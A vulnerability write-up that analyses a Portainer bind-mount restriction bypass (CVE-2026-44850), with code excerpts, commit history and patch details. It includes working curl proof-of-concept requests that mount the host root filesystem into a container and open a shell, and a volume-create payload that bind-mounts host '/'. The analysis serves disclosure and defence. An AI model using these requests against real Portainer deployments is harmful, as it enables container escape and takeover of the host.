//nefariousplan

CVE-2026-44850: Portainer's Bind-Mount Gate Read HostConfig.Binds. The Docker API Has a Second Bind-Mount Field.

vendor

pattern

cve

proof of concept

Portainer Community Edition has an environment setting labeled "Hide bind mounts for non-administrators." When an admin toggles it on, the tooltip in the admin UI promises that "regular users will not be able to use bind mounts when creating containers." The proxy code that enforced it shipped in July 2020.

CVE-2026-44850 is the five-year-and-eight-month window during which that setting prevented bind mounts only via the field path Portainer's own UI uses.

The struct had no Mounts field

The check lives in api/http/proxy/factory/docker/containers.go, in decorateContainerCreationOperation. The function decorates every container-create request that flows through Portainer's Docker API proxy. When the caller is not an environment administrator, it reads the body, unmarshals into a PartialContainer struct, and rejects the request if any of seven security-relevant fields exceed the configured policy.

Pre-patch, the PartialContainer struct's HostConfig had no Mounts member. The unmarshal dropped the entire field on the floor:

type PartialContainer struct {
    HostConfig struct {
        Privileged  bool           `json:"Privileged"`
        PidMode     string         `json:"PidMode"`
        Devices     []any          `json:"Devices"`
        Sysctls     map[string]any `json:"Sysctls"`
        SecurityOpt []string       `json:"SecurityOpt"`
        CapAdd      []string       `json:"CapAdd"`
        CapDrop     []string       `json:"CapDrop"`
        Binds       []string       `json:"Binds"`
    } `json:"HostConfig"`
}

The body parser saw a struct with no Mounts key. The Docker API request body did not get unmarshalled at that key. The rest of the function operated on a zero value for a field the struct did not declare.

The bind-mount enforcement, when configured to deny bind mounts for regular users, iterated partialContainer.HostConfig.Binds and rejected entries that began with /:

if !securitySettings.AllowBindMountsForRegularUsers && len(partialContainer.HostConfig.Binds) > 0 {
    for _, bind := range partialContainer.HostConfig.Binds {
        if strings.HasPrefix(bind, "/") {
            return forbiddenResponse, ErrBindMountsForbidden
        }
    }
}

The Docker daemon, at the other end of the proxy, accepts the legacy HostConfig.Binds array of strings and a parallel HostConfig.Mounts array of typed structs. Both produce the same daemon-side action. The structured form was added to the Docker Engine API in version 1.30, shipped in Docker 17.06 in June 2017.

Portainer's check shipped in July 2020 against the field Docker had introduced the alternative to three years earlier.

The exploit is the second field

The attacker is a Portainer user with rights to create containers on a Docker environment whose administrator has enabled "Hide bind mounts for non-administrators." The Portainer UI for this user does not expose bind-mount controls; the volume editor restricts mount type to "volume" and "tmpfs." The attacker opens a terminal and sends the bind mount through the proxy directly:

curl -X POST \
  -H "Authorization: Bearer $PORTAINER_JWT" \
  -H "Content-Type: application/json" \
  "https://portainer.example.com/api/endpoints/1/docker/containers/create?name=escape" \
  -d '{
    "Image": "alpine",
    "Cmd": ["sleep", "3600"],
    "HostConfig": {
      "Mounts": [
        {"Type": "bind", "Source": "/", "Target": "/host"}
      ]
    }
  }'

decorateContainerCreationOperation reads the body, unmarshals into PartialContainer, finds HostConfig.Binds empty (the request did not set it), walks every other check, finds nothing to reject, forwards the request. The Docker daemon honors HostConfig.Mounts, creates the container, mounts host / at /host. The attacker starts the container:

curl -X POST \
  -H "Authorization: Bearer $PORTAINER_JWT" \
  "https://portainer.example.com/api/endpoints/1/docker/containers/escape/start"

And exec's into it:

curl -X POST \
  -H "Authorization: Bearer $PORTAINER_JWT" \
  -H "Content-Type: application/json" \
  "https://portainer.example.com/api/endpoints/1/docker/containers/escape/exec" \
  -d '{"AttachStdout": true, "AttachStderr": true, "Tty": true, "Cmd": ["/bin/sh"]}'

The shell runs inside a container with the host filesystem at /host. /host/etc/shadow, /host/root/.ssh/, /host/var/run/docker.sock. Any of the three is terminal for the host or the daemon. The Portainer role required nothing beyond "can create containers on this environment."

The CVSS vector records S:C, Scope: Changed. Crossing from a Portainer-managed container into the host filesystem is the scope change the vector describes. The vector also records PR:L, low privileges required. The attacker's only privilege is the role the setting was advertised as restricting.

The gate filtered the field the UI produces

The reason the bypass is the second field, and not "Binds with a different prefix," is in app/docker/helpers/containerHelper.js. When a user duplicates an existing container through the Portainer UI, the helper reconstructs the host config from the inspect output. The relevant lines:

config.HostConfig.Mounts = null;
config.HostConfig.Binds = binds;

The UI walks the inspect response's Mounts array, converts each entry to a Binds string of the form name:containerPath[:ro], sets HostConfig.Mounts to null, and assigns the converted strings to HostConfig.Binds. Every container-create request the Portainer UI produces sends HostConfig.Mounts: null and HostConfig.Binds: [...].

The proxy gate filtered the field shape the UI produces.

This is the architectural shape of the bug. The Docker API proxy exists to enforce policy on Docker API callers who bypass the UI: docker -H portainer.example.com -- create ..., scripts running against the proxy's REST endpoints, anything that addresses the Docker API directly through Portainer's authenticated proxy. The reason the gate exists is that those callers can submit any field the Docker daemon accepts. The gate's grammar was the field the UI sends. The bypass was the field the UI does not send.

The same commit added the Mounts idiom for Swarm

api/http/proxy/factory/docker/services.go enforces the same AllowBindMountsForRegularUsers setting on Docker Swarm service-create requests. Swarm's API has no Binds legacy; its service spec exposes TaskTemplate.ContainerSpec.Mounts, an array of typed mount structs with the same Type field as the container-create Mounts. The services-side gate, when the CVE patch landed, looked like this:

if !securitySettings.AllowBindMountsForRegularUsers {
    for _, mount := range containerSpec.Mounts {
        if mount.Type == "bind" {
            return ErrBindMountsForbidden
        }
        // ...
    }
}

The check the CVE patch added to containers.go is, line for line, the same idiom this file already used. Both checks were added in the same pull request. Commit 93d8c179f, "feat(containers): enforce disable bind mounts (#4110)," shipped on 2020-07-29 by Chaim Lev-Ari. The diff added a Binds-only check to decorateContainerCreationOperation (27 lines touched on containers.go) and a Mounts.Type == "bind" check to decorateServiceCreationOperation (55 lines added to services.go). The author shipped both halves of the gate in one commit. The container path got one. The Swarm path got the other.

Both halves of the gate were typed by the same author into the same commit. The container path was missing the half the diff applied to Swarm services.

The same April 2026 sprint closed two more bind-mount holes

The CVE-2026-44850 patch landed as commit 3a8ed4094 on 2026-04-18 at 01:28:24 UTC-3, twelve added lines on containers.go. The previous minute, at 01:27:14 the same day, commit aef1d982c ("fix(docker): add missing restrictions for Swarm BE-12772") added Swarm restrictions that had also been missing. Three days later, on 2026-04-21, commit 7e544ee44 ("fix(docker): add more bind mount restriction checks BE-12771") added a CheckVolumeBodyRestrictions function to api/http/proxy/factory/docker/volumes.go that rejects volume-create requests whose DriverOpts["type"] equals "bind":

func CheckVolumeBodyRestrictions(request *http.Request) error {
    // ...
    var volumeCreateBody struct {
        DriverOpts map[string]string `json:"DriverOpts"`
    }

    if err := json.Unmarshal(body, &volumeCreateBody); err != nil {
        return err
    }

    if volumeCreateBody.DriverOpts["type"] == "bind" {
        return ErrBindMountsForbidden
    }
    // ...
}

Pre-patch, the Docker volume API was a third path to a host bind mount and the proxy did not gate it at all. A regular user could send POST /volumes/create with {"Driver": "local", "DriverOpts": {"type": "bind", "device": "/", "o": "bind"}} and the local-volume driver would create a volume that, on attach, exposed the host root. The volume-create request would not have flowed through decorateContainerCreationOperation at all; it would have routed to a handler that, pre-patch, had no bind-mount logic.

Three field paths to the same daemon-side outcome. Pre-patch, the proxy gated one. The April 2026 fix sprint gated the other two. The setting labeled "Hide bind mounts for non-administrators" had, between July 2020 and April 2026, enforced a narrower policy than the one its tooltip described.

The pattern is gate-narrower-than-sink: the proxy's filter grammar covered a strict subset of the Docker daemon's accepted bind-mount surface. The two matchers were written to answer the same question, "is this request asking for a bind mount." They did not agree on the field set. The half the gate did not cover was the half the UI does not send.

Patched in Portainer CE 2.33.8, 2.39.2, and 2.41.0.

PoC: GHSA-7fw3-x4r2-g7wc

The patch closes this CVE. It does not change the assumption that produced it.